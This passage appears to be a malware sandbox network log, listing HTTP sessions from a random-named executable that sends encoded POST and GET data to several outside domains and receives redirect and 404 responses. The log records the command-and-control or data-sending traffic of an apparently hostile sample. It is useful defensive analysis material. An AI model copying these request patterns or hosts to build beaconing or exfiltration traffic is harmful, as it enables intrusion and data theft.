75 33 50 6c 62 5a 68 5a 72 43 69 4b 77 47 35 47 71 4c 66 6d 5a 59 6e 47 41 79 52 54 69 35 68 56 4e 69 4d 6d 6b 55 49 75 69 4d 4d 34 6d 6a 72 32 74 68 4a 65 74 4e 49 30 69 78 55 72 4b 6b 6b 77 62 6c 66 53 66 58 6b 5a 30 37 4e 64 35 75 47 41 37 47 58 67 6f 66 49 2b 4c 52 65 69 75 64 6c 67 67 67 70 2f 45 4f 41 42 55 6e 69 45 7a 65 51 3d Data Ascii: E2fH=1d1Jo0UMSTBnI5ACmqGAC3kmSZRhnVWppglP1ijC3McGJ47GpE7KsW1SZR0NbDqMbbIg8977r5JY6A2QxCmE3Lakn80bfWfbqVF6zm/cu3PlbZhZrCiKwG5GqLfmZYnGAyRTi5hVNiMmkUIuiMM4mjr2thJetNI0ixUrKkkwblfSfXkZ07Nd5uGA7GXgofI+LReiudlgggp/EOABUniEzeQ=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.11	49982	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:24.979244947 CET	1806	OUT	POST /vn3y/ HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.everyone.golf Referer: http://www.everyone.golf/vn3y/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 31 64 31 4a 6f 30 55 4d 53 54 42 6e 49 35 41 43 6d 71 47 41 43 33 6b 6d 53 5a 52 68 6e 56 57 70 70 67 6c 50 31 69 6a 43 33 4d 45 47 4a 4c 44 47 70 6e 44 4b 69 32 31 53 51 78 31 4b 62 44 71 72 62 62 51 6b 38 39 48 46 72 37 42 59 37 69 4f 51 35 58 53 45 69 37 61 6b 37 4d 30 57 62 57 66 4f 71 56 56 2b 7a 6d 76 63 75 33 50 6c 62 59 52 5a 2f 48 4f 4b 38 6d 35 46 72 4c 66 36 49 6f 6e 71 41 79 5a 69 69 39 39 76 4f 52 45 6d 6e 30 34 75 6b 2b 30 34 37 7a 72 30 67 42 49 59 74 4e 45 56 69 78 59 4a 4b 67 74 74 62 6c 33 53 56 52 39 44 6b 36 30 4c 71 73 36 68 37 51 6e 51 6a 39 4e 39 41 51 61 31 6d 6f 78 57 31 33 4a 70 41 62 31 6a 52 45 4b 47 74 4f 52 51 6e 31 52 30 44 37 61 44 74 6e 61 4d 77 56 50 75 79 6d 39 56 53 71 6a 36 52 72 54 37 43 38 4c 2f 74 49 51 54 7a 48 76 42 62 37 76 71 35 31 73 49 62 54 41 66 68 2f 62 32 49 76 71 61 5a 31 77 74 44 47 2f 49 71 4c 4f 6e 2b 53 36 66 2b 63 61 48 44 75 67 4a 59 73 67 6c 51 6a 61 6e 54 64 4b 6a 34 6c 56 45 53 4e 30 57 5a 61 66 4c 70 72 46 4f 30 46 5a 64 42 [TRUNCATED] Data Ascii: E2fH=1d1Jo0UMSTBnI5ACmqGAC3kmSZRhnVWppglP1ijC3MEGJLDGpnDKi21SQx1KbDqrbbQk89HFr7BY7iOQ5XSEi7ak7M0WbWfOqVV+zmvcu3PlbYRZ/HOK8m5FrLf6IonqAyZii99vOREmn04uk+047zr0gBIYtNEVixYJKgttbl3SVR9Dk60Lqs6h7QnQj9N9AQa1moxW13JpAb1jREKGtORQn1R0D7aDtnaMwVPuym9VSqj6RrT7C8L/tIQTzHvBb7vq51sIbTAfh/b2IvqaZ1wtDG/IqLOn+S6f+caHDugJYsglQjanTdKj4lVESN0WZafLprFO0FZdB97Qvnb5Fp6K1O2xlKcFFFKvN+eykPt0C7iamJOemxrmQYT+W1fiEFKETqh35iZEyaTnt6yr0p9oOxbATKdih93AmdqzsvqvTa0ZFZzxhBCrIeuaU5aZ1AxTNnY8WUSVDVqU+ryRX1MhqbTnKHhiPYd1q/blo5gYPobvjbHWt4Vicj0yAnueS51W5eJkQp5mmabifs5q7hdz5+DJfdDWQ0OB4M0Mv1j3exAFEkV2UHLT5Y3YQGar7Pg159PItif77fn2sDazRrVlnPvHx+BJRvZvovTXjWRG1jAgegaomvsGjccavyvoyBQ5GLWCImN3kO/l1qzepr4+IspmBuHm7gmuYWzp5j3XmEj3zGNzlD54xYRvbOgip5c36kqj0joY2r7y4hwd8GS9F0aSi5sGARNWVF9eDeUypxoTdg0e2fym/xTdHP40uwFFUXYLXdUlONeHbMJd47UGQxnIE3hlCWlKYFoZt4d99WvsV5MNjDISIgZ3X1PP/TkQ6W/lplGHeKlagGVLXZ4uXi4PmBmZ63lMjWEaX9oA87ZnsnTQlBN7OKH5Eh8xu8oNaoneEQH1mHksp+nYi1/FM3xedrgE4UHQ18eVbHV1h/+xoUFq+NXDktBZ8w3I88IGAwYlVMpZh1qmdnSCcHzlm8cs5zGuKKCTGoA1pC7cGbV [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.11	49983	3.33.130.190	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:27.530569077 CET	508	OUT	GET /vn3y/?wZY4Z=9tG860z8qzo&E2fH=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLvbivtJQJXW/JiUtY9He5kgXXedAC3k6p8R4= HTTP/1.1 Host: www.everyone.golf Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:50:28.142074108 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:50:28 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 26 45 32 66 48 3d 34 66 64 70 72 41 6b 4a 57 33 74 36 45 75 67 46 72 72 4b 70 4f 68 30 6a 41 4c 39 70 72 55 43 43 69 56 5a 4f 77 79 61 58 37 4c 4d 77 49 35 6d 78 6c 45 50 48 69 32 70 4e 65 77 41 41 46 53 61 35 53 65 73 4b 2b 39 69 55 6a 59 45 61 32 69 65 4c 34 69 75 4c 76 62 69 76 74 4a 51 4a 58 57 2f 4a 69 55 74 59 39 48 65 35 6b 67 58 58 65 64 41 43 33 6b 36 70 38 52 34 3d 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?wZY4Z=9tG860z8qzo&E2fH=4fdprAkJW3t6EugFrrKpOh0jAL9prUCCiVZOwyaX7LMwI5mxlEPHi2pNewAAFSa5SesK+9iUjYEa2ieL4iuLvbivtJQJXW/JiUtY9He5kgXXedAC3k6p8R4="}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.11	49984	13.248.169.48	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:33.187330961 CET	782	OUT	POST /hezo/ HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solidarity.rocks Referer: http://www.solidarity.rocks/hezo/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 57 49 71 58 35 5a 4d 47 58 6f 68 58 78 70 6f 43 58 2f 55 33 4b 55 77 55 72 32 61 78 76 52 55 2b 41 78 50 32 46 68 44 4b 34 67 7a 79 74 34 6b 49 57 44 42 77 48 76 39 50 74 46 4b 6e 4b 79 6a 6c 4b 32 69 32 65 34 71 44 78 6d 65 6a 36 44 6e 6c 4a 73 73 53 4b 78 59 30 37 77 58 4a 64 6e 6e 59 61 62 58 70 5a 49 50 4f 78 72 59 32 79 42 67 62 39 46 65 39 4e 30 38 31 51 7a 35 47 30 31 75 62 76 53 61 64 38 7a 45 34 70 37 64 6b 4f 59 5a 57 49 63 50 4b 7a 46 45 38 4f 68 2f 6c 65 6c 2f 63 5a 59 72 4b 50 6c 38 5a 69 78 79 34 64 5a 37 6d 30 6b 76 77 31 2b 70 71 63 41 77 55 79 64 38 55 4a 67 3d 3d Data Ascii: E2fH=WIqX5ZMGXohXxpoCX/U3KUwUr2axvRU+AxP2FhDK4gzyt4kIWDBwHv9PtFKnKyjlK2i2e4qDxmej6DnlJssSKxY07wXJdnnYabXpZIPOxrY2yBgb9Fe9N081Qz5G01ubvSad8zE4p7dkOYZWIcPKzFE8Oh/lel/cZYrKPl8Zixy4dZ7m0kvw1+pqcAwUyd8UJg==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.11	49985	13.248.169.48	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:35.729933977 CET	802	OUT	POST /hezo/ HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solidarity.rocks Referer: http://www.solidarity.rocks/hezo/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 57 49 71 58 35 5a 4d 47 58 6f 68 58 33 4a 34 43 62 2f 6f 33 50 30 77 58 6b 57 61 78 36 68 55 79 41 78 44 32 46 6b 6a 61 34 54 58 79 74 5a 55 49 58 43 42 77 4a 50 39 50 31 56 4c 73 46 53 6a 37 4b 32 6d 45 65 35 57 44 78 6d 4b 6a 36 43 58 6c 4a 2f 45 54 4b 68 59 79 30 51 58 4c 54 48 6e 59 61 62 58 70 5a 4a 2f 6f 78 72 51 32 78 77 51 62 79 48 32 2b 52 45 38 36 58 7a 35 47 69 46 75 66 76 53 61 2f 38 79 4a 6a 70 39 52 6b 4f 64 31 57 49 49 6a 4a 71 31 46 33 54 52 2b 39 64 56 43 43 55 4a 71 6c 4a 55 34 5a 6a 45 57 59 63 66 71 38 6b 48 6d 6e 32 74 68 6f 49 6d 52 6b 37 73 5a 64 53 73 54 71 64 39 4a 32 36 4c 31 74 62 6a 61 4f 36 4d 44 75 51 46 55 3d Data Ascii: E2fH=WIqX5ZMGXohX3J4Cb/o3P0wXkWax6hUyAxD2Fkja4TXytZUIXCBwJP9P1VLsFSj7K2mEe5WDxmKj6CXlJ/ETKhYy0QXLTHnYabXpZJ/oxrQ2xwQbyH2+RE86Xz5GiFufvSa/8yJjp9RkOd1WIIjJq1F3TR+9dVCCUJqlJU4ZjEWYcfq8kHmn2thoImRk7sZdSsTqd9J26L1tbjaO6MDuQFU=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.11	49986	13.248.169.48	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:38.274472952 CET	1815	OUT	POST /hezo/ HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.solidarity.rocks Referer: http://www.solidarity.rocks/hezo/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 1233 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 57 49 71 58 35 5a 4d 47 58 6f 68 58 33 4a 34 43 62 2f 6f 33 50 30 77 58 6b 57 61 78 36 68 55 79 41 78 44 32 46 6b 6a 61 34 54 66 79 74 76 67 49 58 6c 56 77 4b 50 39 50 72 46 4c 76 46 53 69 6e 4b 32 66 4e 65 35 62 32 78 6b 79 6a 37 67 76 6c 65 65 45 54 54 52 59 79 32 51 58 57 64 6e 6e 4e 61 62 47 69 5a 4a 50 6f 78 72 51 32 78 7a 49 62 31 56 65 2b 43 55 38 31 51 7a 35 43 30 31 75 7a 76 53 44 43 38 79 4e 7a 70 4e 78 6b 4a 35 56 57 62 4e 50 4a 31 46 46 31 51 52 2b 75 64 56 4f 6a 55 4a 32 44 4a 55 4d 33 6a 43 6d 59 63 70 2b 68 77 56 75 42 70 50 38 63 62 48 41 4b 38 76 52 49 65 37 6a 55 62 74 52 39 6b 76 39 6b 65 78 44 6a 67 4d 2b 30 54 79 67 46 4f 4f 77 62 75 61 4f 76 50 78 73 2f 43 77 44 61 45 2f 48 44 74 41 46 4d 54 61 6c 79 34 71 50 6e 46 31 50 6a 35 34 6e 5a 74 77 70 45 73 67 4f 68 75 53 72 6c 37 69 78 2b 4e 7a 6c 50 66 52 53 54 61 4c 71 78 69 70 4a 57 4c 50 71 47 69 70 38 68 50 6c 6b 51 48 53 33 77 58 61 39 65 4b 70 77 79 4a 42 45 34 69 51 30 43 30 4c 7a 36 34 63 70 65 4a 54 35 62 75 [TRUNCATED] Data Ascii: E2fH=WIqX5ZMGXohX3J4Cb/o3P0wXkWax6hUyAxD2Fkja4TfytvgIXlVwKP9PrFLvFSinK2fNe5b2xkyj7gvleeETTRYy2QXWdnnNabGiZJPoxrQ2xzIb1Ve+CU81Qz5C01uzvSDC8yNzpNxkJ5VWbNPJ1FF1QR+udVOjUJ2DJUM3jCmYcp+hwVuBpP8cbHAK8vRIe7jUbtR9kv9kexDjgM+0TygFOOwbuaOvPxs/CwDaE/HDtAFMTaly4qPnF1Pj54nZtwpEsgOhuSrl7ix+NzlPfRSTaLqxipJWLPqGip8hPlkQHS3wXa9eKpwyJBE4iQ0C0Lz64cpeJT5bulpP4N/zRA3uIagtInzkDt6hVgPQoTDBoBRA1oKuPhdaxXmRS3ro2ebP8hrxT7jmvEn7609qSkIGwDWZeTyBkpmrfgqHPlXcHwi/LnAU/ajkFgvhbTfTztW6PE9zgas1TR2z8iWElRYxpMDLmEGQrnSQRASpu1vW42zd+27aRgBL7ku5n2eswhHxmRSRNg5wfsVNI5xrf9aru4ZJTCGeBiXMeqHLok0pL8GgUaDdjuC4JvHtqqONwblRMmpDXKOFjpaaTeCutJ/jGOUh5aIVoPQJgAmnLM1IrSVUj7GklSK8N6P2XIYrSqnEBcUxgVLJ/nuHQmm2WkMGEolDAYdBV0Lhk6VR8zhHLG6OQpLuIZjukUKoz0FUyCdswVj4Dt3yBtkkM2a5RVpQI/F2+1LC0uCcvSZzzt8l0VgNf3j4I5ZcVPuf5iWG5oTtcIaR4gEjHyRH+T4iZwpUvhy9jdJbgm7wUeajXLYpbf8KMEnZ3Y8lsx88+IcxyY3C/SC+QH8O0gOZTq3ivp4VQHJjtULHBnPe6ZTq7LHyH1CEsh0ugAYrOzfG7wfMMBY+KZO6pCx3sB8gOYLJn60ShTfN1dvFw0Ef1Gud7fyiZMcd4vXt2m4d3E3TeuN9DV6/Lcdaf/8Fi6Xo+yJ/McVd5ccfwoRUKTwiftXM9gWISGo [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.11	49987	13.248.169.48	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:40.821254969 CET	511	OUT	GET /hezo/?E2fH=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oKx440HrMY07fapDTednh2/Ea+kcK2WC2IW8=&wZY4Z=9tG860z8qzo HTTP/1.1 Host: www.solidarity.rocks Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36
Nov 7, 2024 12:50:41.515871048 CET	398	IN	HTTP/1.1 200 OK Server: openresty Date: Thu, 07 Nov 2024 11:50:41 GMT Content-Type: text/html Content-Length: 258 Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 73 63 72 69 70 74 3e 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 6c 61 6e 64 65 72 3f 45 32 66 48 3d 62 4b 43 33 36 75 51 71 54 59 41 57 31 5a 30 75 58 4f 63 33 4b 42 46 71 7a 47 61 4c 35 42 5a 4b 46 69 71 42 43 44 43 36 2f 6e 33 61 70 6f 64 33 51 78 4a 4f 48 38 52 6c 6a 47 37 74 44 52 2b 5a 4a 6e 53 64 64 61 4b 61 34 6d 71 78 30 44 48 63 63 63 39 6f 4b 78 34 34 30 48 72 4d 59 30 37 66 61 70 44 54 65 64 6e 68 32 2f 45 61 2b 6b 63 4b 32 57 43 32 49 57 38 3d 26 77 5a 59 34 5a 3d 39 74 47 38 36 30 7a 38 71 7a 6f 22 7d 3c 2f 73 63 72 69 70 74 3e 3c 2f 68 65 61 64 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html><html><head><script>window.onload=function(){window.location.href="/lander?E2fH=bKC36uQqTYAW1Z0uXOc3KBFqzGaL5BZKFiqBCDC6/n3apod3QxJOH8RljG7tDR+ZJnSddaKa4mqx0DHccc9oKx440HrMY07fapDTednh2/Ea+kcK2WC2IW8=&wZY4Z=9tG860z8qzo"}</script></head></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.11	49988	43.155.76.124	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:55.341655016 CET	770	OUT	POST /mwey/ HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cdqjey8g.sbs Referer: http://www.cdqjey8g.sbs/mwey/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 201 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 42 64 34 2f 47 38 6a 4b 4b 62 66 54 51 35 68 4b 71 61 56 6a 4a 2b 4d 62 59 6c 62 39 72 44 58 78 49 4a 49 7a 4d 38 57 6a 53 57 76 38 73 38 43 48 4b 4d 2f 57 2b 2f 43 44 45 6b 54 6e 75 65 52 61 36 31 47 30 34 30 2f 49 6f 4f 72 6c 74 37 36 36 51 47 63 78 76 58 67 74 30 6f 65 69 78 4a 53 45 49 50 32 75 4c 6f 56 53 36 4c 4c 6b 72 2b 7a 79 4c 33 35 65 6f 63 38 6c 67 6c 5a 62 4d 47 46 6b 6c 32 42 4d 61 64 6d 68 74 41 74 59 75 33 74 41 49 2f 52 2f 76 34 43 68 65 6e 56 67 4e 61 73 62 70 34 36 38 57 6d 75 48 61 62 76 35 56 33 69 35 57 69 37 55 43 55 67 39 46 5a 46 67 5a 4f 36 46 2f 67 3d 3d Data Ascii: E2fH=Bd4/G8jKKbfTQ5hKqaVjJ+MbYlb9rDXxIJIzM8WjSWv8s8CHKM/W+/CDEkTnueRa61G040/IoOrlt766QGcxvXgt0oeixJSEIP2uLoVS6LLkr+zyL35eoc8lglZbMGFkl2BMadmhtAtYu3tAI/R/v4ChenVgNasbp468WmuHabv5V3i5Wi7UCUg9FZFgZO6F/g==
Nov 7, 2024 12:50:56.294934988 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Thu, 07 Nov 2024 11:50:56 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.11	49989	43.155.76.124	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 12:50:57.889300108 CET	790	OUT	POST /mwey/ HTTP/1.1 Host: www.cdqjey8g.sbs Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.9 Accept-Encoding: gzip, deflate, br Origin: http://www.cdqjey8g.sbs Referer: http://www.cdqjey8g.sbs/mwey/ Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Connection: close Content-Length: 221 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/537.36 Data Raw: 45 32 66 48 3d 42 64 34 2f 47 38 6a 4b 4b 62 66 54 57 59 52 4b 6d 61 70 6a 4c 65 4d 45 62 6c 62 39 6c 54 58 31 49 4a 55 7a 4d 39 43 7a 53 6b 62 38 73 65 61 48 4c 4f 62 57 2f 2f 43 44 4d 45 54 69 67 2b 52 4e 36 31 4b 61 34 31 44 49 6f 4f 2f 6c 74 37 4b 36 52 31 30 79 73 6e 67 72 35 49 65 6b 2b 70 53 45 49 50 32 75 4c 6f 52 6f 36 50 66 6b 72 4f 6a 79 45 32 35 66 6d 38 38 71 77 31 5a 62 48 6d 45 76 6c 32 41 76 61 66 53 62 74 44 56 59 75 79 52 41 4d 36 39 34 67 34 43 6e 51 48 55 50 4f 62 4a 75 69 37 6a 31 51 52 57 36 4f 72 2f 4b 55 78 7a 6a 47 42 79 44 42 48 6f 2f 52 2f 6b 51 51 2f 66 4d 6b 6e 75 79 7a 64 6a 38 38 77 38 36 5a 7a 58 59 2b 6d 56 7a 63 55 38 3d Data Ascii: E2fH=Bd4/G8jKKbfTWYRKmapjLeMEblb9lTX1IJUzM9CzSkb8seaHLObW//CDMETig+RN61Ka41DIoO/lt7K6R10ysngr5Iek+pSEIP2uLoRo6PfkrOjyE25fm88qw1ZbHmEvl2AvafSbtDVYuyRAM694g4CnQHUPObJui7j1QRW6Or/KUxzjGByDBHo/R/kQQ/fMknuyzdj88w86ZzXY+mVzcU8=
Nov 7, 2024 12:50:58.827074051 CET	708	IN	HTTP/1.1 404 Not Found Server: Tengine Date: Thu, 07 Nov 2024 11:50:58 GMT Content-Type: text/html; charset=utf-8 Content-Length: 548 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.11	49990	43.155.76.124	80	3716	C:\Program Files (x86)\NDXgFdXAISVFSXNcciQODowwQrTzvvmEmDvogvayWoRymEwqA\MqYVUkmlJNkso.exe

Timestamp	Bytes transferred	Direction	Data
